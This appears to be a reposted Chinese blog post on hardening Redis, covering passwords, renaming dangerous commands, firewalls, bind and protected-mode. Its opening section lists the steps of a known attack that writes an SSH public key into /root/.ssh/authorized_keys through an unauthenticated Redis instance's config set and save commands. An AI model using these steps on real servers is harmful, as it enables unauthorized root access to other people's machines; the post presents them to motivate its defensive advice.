当前位置:   article > 正文

Redis安全设置_rename-command config

rename-command config

目录

一、模拟一次redis攻击事件

二、安全设置

1.requirepass

 2.rename-command配置使用

 3.防火墙

4.bind 

5. port


 一、模拟一次redis攻击事件

机器1:
ssh-keygen -t rsa
cat .ssh/id_rsa.pub 内容作为key: crackit键的value值

机器2:
redis配置:
1.port 6379
2.requirepass ""
3.bind 0.0.0.0 或 ""
4.以root用户启动
5.redis所在机器有外网ip

机器1连接机器2的redis执行
config set dir /root/.ssh/
config set filename/dbfilename authorized_keys
config set crackit "机器1中cat .ssh/id_rsa.pub文件内容“
save

二、安全设置

1.requirepass

密码要足够复杂64个字节以上,从节点masterauth与主节点requirepass相同 

 2.rename-command配置使用

rename-command keys [xkeys]
rename-command flushall [xflushall]
rename-command debug [xdebug]
rename-command shutdown [xshutdown]
rename-command config [xconfig]


1.rename-command不支持config set,要在启动的时候就配置好
2.要在新实例中或者是未做过持久化的实例中使用,否则配置后,重新加载aof或rdb文件时会存在不能识别的命令异常
3.若存在主从,则主从配置要保持一致,否则会存在主从数据不一致的情况

 3.防火墙

可以使用防火墙限制输入和输出的IP或者IP范围、端口或者端口范围

4.bind 

1.bind指定Redis和哪个网卡进行绑定

2.bind不支持config set 启动时要配置好

3.Redis3.0中bind默认值为””,也就是不限制网卡的访问
  Redis3.2 中bind配置为0.0.0.0才是不限制网卡的访问

4.Redis3.2提供了protected-mode配置(默认开启)
若redis没有配置requirepass和bind 等价于 配置bind 127.0.0.1只能本机访问

5. port

更改默认端口6379

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/Gausst松鼠会/article/detail/591408
推荐阅读
相关标签
  

闽ICP备14008679号